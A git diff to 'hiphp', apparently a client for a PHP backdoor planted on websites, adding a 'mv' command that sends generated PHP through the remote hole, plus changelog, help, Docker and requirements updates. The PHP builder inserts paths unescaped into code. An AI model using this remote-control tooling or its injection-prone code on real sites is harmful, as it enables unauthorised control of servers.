diff --git a/CHANGELOG b/CHANGELOG index 494afc4e..15781a05 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -10,6 +10,7 @@ - Fixed websites scanner on hiphp-cli. - Changed license from "Apache Software License" to "MIT License." - Fix "--cd" command on "hiphp-cli". + - Add "--mv" as a new command on "hiphp-cli". - Addressed bug fixes and implemented performance improvements for a more reliable experience. ## 0.3.1 [06-03-2023] diff --git a/Dockerfile b/Dockerfile index 09f3612c..4adfa629 100644 --- a/Dockerfile +++ b/Dockerfile @@ -35,7 +35,7 @@ # docker run --rm -p 127.0.0.1:8080:8080 -e DOCKER=True -e DST=True -i -t ghcr.io/yasserbdj96/hiphp:latest #START{ -FROM python:3.11.2 +FROM python:3.11.3 # start install google-chrome: # Download the Chrome Driver diff --git a/hiphp/__init__.py b/hiphp/__init__.py index ffda831d..99cceb41 100644 --- a/hiphp/__init__.py +++ b/hiphp/__init__.py @@ -201,6 +201,14 @@ def check_hiphp_in(url): #about elif command[0:7].lower()=="--about" or command[0:5].lower()=="about": print(about()) + #cp + elif command[0:4].lower()=="--mv" or command[0:2].lower()=="mv": + ppth=command.split(" ") + try: + command=simulate_mv(ppth[1],ppth[2]) + print(hiphp.do(self,self.key,self.url,self.headers,True,command)) + except: + help(__version__,"--mv") #download elif command[0:6].lower()=="--down" or command[0:4].lower()=="down" or command[0:8].lower()=="download": down=command.split(" ") @@ -491,6 +499,7 @@ def run(self,command): #upload: def upload(self,path_to_upluad,to=""): + self.DS=hiphp.do(self,self.key,self.url,self.headers,True,DIRECTORY_SEPARATOR()) try: with open(path_to_upluad,"rb") as base64_file: encoded_string=tobase64(base64_file.read().decode("utf-8")) @@ -516,10 +525,27 @@ def compress(self,path=""): #download: def download(self,path_x,outpath=""): + def get_download_folder(): + if os.name == 'nt': # Windows + download_folder = os.path.expanduser('~/Downloads') + elif os.name == 'posix': # Linux, macOS, and other UNIX-based systems + download_folder = os.path.expanduser('~/Downloads') + else: + # Unsupported operating system + download_folder = None + + return download_folder + download_folder = get_download_folder() + if download_folder: + outpath=download_folder + else: + outpath=os.path.abspath(os.getcwd()) + + new_command=file_to_b64(path_x) path_x=os.path.basename(path_x) - if outpath=="": - outpath=os.path.abspath(os.getcwd()) + #if outpath=="": + # outpath=os.path.abspath(os.getcwd()) if outpath[-1]!=self.sep: outpath+=self.sep diff --git a/hiphp/hiphphelp.py b/hiphp/hiphphelp.py index a49d5a86..7d365c26 100644 --- a/hiphp/hiphphelp.py +++ b/hiphp/hiphphelp.py @@ -120,6 +120,13 @@ def help(__version__,opt=""): --rm -f [FILE_PATH] # Delete a file. --rm -d [DIR_PATH] # Delete a folder. """ + +# + mv_c=""" + --mv, mv # Move files and folders. + Usage: --mv [SOURCE] [DESTINATION] +""" + # ABOUT=""" About: @@ -130,7 +137,7 @@ def help(__version__,opt=""): --version, version # Get the current version number.""" if opt=="": - return header+OPTIONS+ACTIONS+ls_c+spsbar+cat_c+spsbar+set_c+spsbar+cd_c+spsbar+rf_c+spsbar+up_c+spsbar+down_c+spsbar+zip_c+spsbar+edt_c+spsbar+rm_c+spsbar+ABOUT + return header+OPTIONS+ACTIONS+ls_c+spsbar+cat_c+spsbar+set_c+spsbar+cd_c+spsbar+rf_c+spsbar+up_c+spsbar+down_c+spsbar+zip_c+spsbar+edt_c+spsbar+rm_c+spsbar+mv_c+spsbar+ABOUT else: opt=opt.replace("--","") opt=opt+"_c" diff --git a/hiphp/hiphpphpfunctions.py b/hiphp/hiphpphpfunctions.py index c517afe3..4cd75466 100644 --- a/hiphp/hiphpphpfunctions.py +++ b/hiphp/hiphpphpfunctions.py @@ -144,6 +144,42 @@ def scandir_all(dirx="./"): def file_get_contents(dirx): return f"""echo file_get_contents('{dirx}');""" +def simulate_mv(path, newpath): + php_code = f""" + // Check if the source file or directory exists + if (!file_exists('{path}')) {{ + echo "[✗] Source doesn't exist."; + return; + }} + + // Check if the destination exists + if (file_exists('{newpath}')) {{ + echo "[!] Destination already exists. Please choose a different destination."; + return; + }} + + // Check if the source is a file + if (is_file('{path}')) {{ + // Move the file to the destination + if (rename('{path}', '{newpath}')) {{ + echo "[✓] File moved successfully."; + }} else {{ + echo "[✗] Error moving the file."; + }} + }} elseif (is_dir('{path}')) {{ + // Move the directory to the destination + if (mkdir('{newpath}') && rename('{path}', '{newpath}/' . basename('{path}'))) {{ + echo "[✓] Directory moved successfully."; + }} else {{ + echo "[✗] Error moving the directory."; + }} + }} else {{ + echo "[✗] Unsupported source type."; + }} + """ + + return php_code + # def zip_path(path="./"): php_zip_code="""// Get real path for our folder diff --git a/requirements.txt b/requirements.txt index d8ec46c3..3d256fae 100644 --- a/requirements.txt +++ b/requirements.txt @@ -7,8 +7,8 @@ BeautifulSoup4 twine #for ipynb pyngrok -#for hiphp-desktop -eel #for hiphp-tk tk -chardet \ No newline at end of file +chardet +#for hiphp-desktop +eel \ No newline at end of file diff --git a/screenshot/HIPHP_HOLE_CODE.png b/screenshot/HIPHP_HOLE_CODE.png index e06de1ca..d4050e23 100644 Binary files a/screenshot/HIPHP_HOLE_CODE.png and b/screenshot/HIPHP_HOLE_CODE.png differ diff --git a/screenshot/screenshot.png b/screenshot/screenshot.png index ce2eb18c..13023bd1 100644 Binary files a/screenshot/screenshot.png and b/screenshot/screenshot.png differ diff --git a/screenshot/screenshot0.png b/screenshot/screenshot0.png index 1d4da273..76fa129b 100644 Binary files a/screenshot/screenshot0.png and b/screenshot/screenshot0.png differ diff --git a/screenshot/screenshot1.png b/screenshot/screenshot1.png index 57712303..c8e35a3c 100644 Binary files a/screenshot/screenshot1.png and b/screenshot/screenshot1.png differ diff --git a/screenshot/screenshot14.png b/screenshot/screenshot14.png index da601220..343ddd77 100644 Binary files a/screenshot/screenshot14.png and b/screenshot/screenshot14.png differ diff --git a/screenshot/screenshot2.png b/screenshot/screenshot2.png index 23350ed0..3d302e64 100644 Binary files a/screenshot/screenshot2.png and b/screenshot/screenshot2.png differ diff --git a/screenshot/screenshot3.png b/screenshot/screenshot3.png index a0329119..7ad48f68 100644 Binary files a/screenshot/screenshot3.png and b/screenshot/screenshot3.png differ